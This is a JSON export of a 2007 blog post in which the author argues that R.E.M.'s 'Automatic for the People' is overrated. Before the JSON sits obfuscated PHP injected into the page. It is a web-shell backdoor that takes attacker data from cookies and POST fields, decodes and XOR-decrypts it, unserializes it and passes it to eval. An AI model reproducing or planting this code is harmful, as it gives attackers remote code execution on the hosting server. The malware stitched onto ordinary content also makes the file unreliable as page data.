$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":174,"date":"2007-10-05T13:29:03","date_gmt":"2007-10-05T19:29:03","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=174"},"modified":"2007-10-05T13:29:03","modified_gmt":"2007-10-05T19:29:03","slug":"iteotwaiki-automatic","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=174","title":{"rendered":"ITEOTWAIKI: Automatic"},"content":{"rendered":"

Fifteen years ago tomorrow, the history of R.E.M.<\/a> took a major turn. “Automatic for the People<\/a>” was released.<\/p>\n

The band’s eighth album and the followup to the hugely successful “Out of Time<\/a>,” Automatic is probably one of the most acclaimed album’s in the foursome’s history. Not only has it made a ton of lists as one of the best albums ever or for the 1990s,\u00a0 but it was also nominated for a Grammy and produced memorable songs like “Man on the Moon,” “Everybody Hurts,” and “Drive.”<\/p>\n

Yet I’m not that big a fan of the album.<\/p>\n

Let’s start with my biggest complaint. “Everybody Hurts<\/a>” sucks. I am so grateful they have stopped playing it. Yes, it’s a powerful message on suicide and the video was compelling before MTV showed it 5,000 times. But it’s a shame that “Nightswimming” is an afterthought when it has much more compelling lyrics (even though the subject matter is much lighter) and holds up time and time again.<\/p>\n

On the album, “Nightswimming<\/a>,” bookends two of the only other worthy tracks on the album – “Man on the Moon<\/a>” and “Find the River<\/a>.” Both of these are great examples of how the band could click by producing a song that had great value in the studio and on the stage without getting too preachy.<\/p>\n

That can’t be said for the rest of the album. “Drive<\/a>” was one of the biggest hits from the album, but I can take it or leave it. I think the band destroyed the song when they totally re-arranged it for live show a few years later. Thank God they went back to the original version in recent years, but it still leaves me unfulfilled.<\/p>\n

And please don’t tell me “Star Me Kitten,” “Ignoreland<\/a>,” “Monty Got a Raw Deal, “and “Sweetness Follows<\/a>” are examples of R.E.M.’s best efforts.<\/p>\n

“Automatic” gets raised in lore because of the emotional response to “Everybody Hurts” and the timelessness of “Man on the Moon.” In fact, the compelling videos for those two songs probably have more to do with the album’s historical standing than anything else.<\/p>\n

I’d take “New Adventures in Hi-Fi<\/a>” above this album any day if we’re talking latter-day R.E.M.<\/p>\n","protected":false},"excerpt":{"rendered":"